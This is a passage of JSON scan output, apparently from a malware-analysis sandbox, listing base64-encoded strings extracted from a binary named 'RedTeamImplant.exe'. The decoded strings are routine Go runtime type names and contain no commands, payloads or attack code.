Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSptYXAuZ3JvdXBbc3RyaW5nXSp1bmljb2RlLlJhbmdlVGFibGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JSpzeW5jLm5vZGVbaW50ZXJmYWNlIHt9LGludGVyZmFjZSB7fV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9iaXNlY3QuZGVkdXBd","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JipmdW5jKCkgKHVuc2FmZS5Qb2ludGVyLCBpbnQzMiwgZXJyb3Ip","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JipmdW5jKCpydW50aW1lLmcsIHVuc2FmZS5Qb2ludGVyKSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JipmdW5jKGludGVyZmFjZSB7fSwgaW50ZXJmYWNlIHt9KSBib29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JiptYXAuZ3JvdXBbcnVudGltZS5fdHlwZVBhaXJdc3RydWN0IHt9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JipzdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIHRpbWUuYWJiciB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JipzeW5jLmVudHJ5W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JyphdG9taWMuUG9pbnRlcltpbnRlcm5hbC9nb2RlYnVnLnZhbHVlXQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JypmdW5jKHVpbnRwdHIsIHVpbnQzMiwgdWludHB0cikgdWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"JypzdHJ1Y3QgeyBGIHVpbnRwdHI7IFIgKmF0b21pYy5VaW50NjQgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KCpbXSpzeW5jLm5vZGVbaW50ZXJmYWNlIHt9LGludGVyZmFjZSB7fV0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KCpbXXN0cnVjdCB7IGtleSBzdHJpbmc7IGVsZW0gdGltZS5hYmJyIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KCpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFgwIGNoYW4gc3RydWN0IHt9IH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KCpzdHJ1Y3QgeyBrZXkgdWludDMyOyBlbGVtIFtdKmFiaS5UeXBlIH0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KEJBRElOREVJ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KE1JU1NJTkdJ","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpbMF0qc3luYy5ub2RlW2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpbOF1zdHJ1Y3QgeyBrZXkgc3RyaW5nOyBlbGVtIHRpbWUuYWJiciB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpbXSpzeW5jLmVudHJ5W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpmdW5jKHN0cmluZykgKHJlZmxlY3QuU3RydWN0RmllbGQsIGJvb2wp","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpzdHJ1Y3QgeyBGIHVpbnRwdHI7IFIgKmdvZGVidWcuU2V0dGluZyB9","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpzeW5jLmluZGlyZWN0W2ludGVyZmFjZSB7fSxpbnRlcmZhY2Uge31d","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSpzeXNjYWxsLnByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0Q29udGFpbmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KipbMF0qc3luYy5lbnRyeVtpbnRlcmZhY2Uge30saW50ZXJmYWNlIHt9XQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KipbXXN0cnVjdCB7IGtleSB1aW50MzI7IGVsZW0gW10qYWJpLlR5cGUgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KipmdW5jKHVuc2FmZS5Qb2ludGVyLCB1bnNhZmUuUG9pbnRlcikgYm9vbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kipvcy5wcm9jZXNzSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KipzdHJ1Y3QgeyBrZXkgaW50MzI7IGVsZW0gdW5zYWZlLlBvaW50ZXIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KipzdHJ1Y3QgeyBrZXkgdW5zYWZlLlBvaW50ZXI7IGVsZW0gaW50MzIgfQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KjwtY2hhbiBlcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KjwtY2hhbiBleGVjLmN0eFJlc3VsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KjwtY2hhbiBzdHJ1Y3Qge30=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KjwtY2hhbiB0aW1lLlRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlswXSpiaXNlY3QuZGVkdXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlswXSpnb2RlYnVnLnZhbHVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlswXSpvcy5kaXJJbmZv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlswXSpydW50aW1lLlBhbmljTmlsRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlswXSpzeW5jLnBvb2xDaGFpbkVsdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMDBdaW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMDI0XXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMF1ydW50aW1lLmhlbGRMb2NrSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMV11aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMjhdKnJ1bnRpbWUubXNwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMjhdKnJ1bnRpbWUuc3Vkb2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMjhdWzRddWludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxMzZdKnJ1bnRpbWUubXNwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxNF1pbnQ4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxNV11aW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxNl11aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxODRddWludDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxXXN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxXXVpbnQ4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsxXXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyNTNddWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyNTZdcnVudGltZS5ndWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyNTZddWludDE2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyNTZddWludDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXSpydW50aW1lLnRyYWNlQnVm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXVsyXSpydW50aW1lLnRyYWNlQnVm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXVs4XXJ1bnRpbWUucGN2YWx1ZUNhY2hlRW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXXJ1bnRpbWUuRnJhbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXXJ1bnRpbWUuc3RhY2tmcmVlbGlzdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlsyXXVpbnQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlszMl0qcnVudGltZS5fZGVmZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlszMl11aW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlszMl11aW50cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KlszXWF0b21pYy5VaW50MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls0ODBddWludDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls0XXN0cmluZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls0XXVpbnQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls0XXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls1MF11aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls1MTJddWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls1XXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls1XXVuc2FmZS5Qb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2MF0qcnVudGltZS5mdW5jdmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2NF11aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2NTUwNF11aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2OF1ydW50aW1lLnNpemVDbGFzc1NjYW5TdGF0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2OF11aW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2OF11aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls2XXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls3XWNwdS5vcHRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls3XXVpbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls4XXJ1bnRpbWUucGN2YWx1ZUNhY2hlRW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls4XXVpbnQ4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls5Nl11aW50OA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls5XXVpbnRwdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kls5XXVuc2FmZS5Qb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKmFiaS5JVGFi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKmFiaS5UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKmJpc2VjdC5kZWR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKmdvZGVidWcudmFsdWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKm9zLmRpckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKm9zLkZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUuX2RlZmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUuZnVuY3ZhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUuaW5pdFRhc2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUubW9kdWxlZGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUubXNwYW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUucA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUuUGFuaWNOaWxFcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUuc3Vkb2c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnJ1bnRpbWUudHJhY2VCdWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdKnN5bmMucG9vbENoYWluRWx0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdWzJdKnJ1bnRpbWUudHJhY2VCdWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdWzRddWludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdWzhdcnVudGltZS5wY3ZhbHVlQ2FjaGVFbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdYWJpLkltZXRob2Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdYXRvbWljLlVpbnQzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdYmlzZWN0LmNvbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdY3B1Lm9wdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdZmxvYXQ2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdZm10c29ydC5LZXlWYWx1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdZnVuYygpIGVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdaW50MzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdaW50NjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdaW8uQ2xvc2Vy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcmVmbGVjdC5hYmlTdGVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5hYmlQYXJ0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5hbmNlc3RvckluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5GcmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5mdW5jdGFi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5ndWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5oZWxkTG9ja0luZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5tb2R1bGVoYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5wY3ZhbHVlQ2FjaGVFbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5wdGFiRW50cnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5zaXplQ2xhc3NTY2FuU3RhdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS5zdGFja2ZyZWVsaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS50ZXh0c2VjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltdcnVudGltZS50aW1lcldoZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kltdc3RyaW5n","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kltdc3luYy5lZmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kltdc3lzY2FsbC5IYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"Kltdc3lzY2FsbC5XU0FCdWY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddGltZS56b25l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddGltZS56b25lVHJhbnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddWludDE2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddWludDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddWludDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddWludDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddWludHB0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddW5pY29kZS5SYW5nZTE2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddW5pY29kZS5SYW5nZTMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KltddW5zYWZlLlBvaW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5GdW5jRmxhZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5GdW5jSUQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5GdW5jVHlwZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5JbWV0aG9k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5JbnRBcmdSZWdCaXRtYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5JbnRlcmZhY2VUeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5JVGFi","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5LaW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5OYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5OYW1lT2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5SZWdBcmdz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5URmxhZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5UeXBlT2Zm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"KmFiaS5VbmNvbW1vblR5cGU=","type":"Ansi","source":"Memory/File 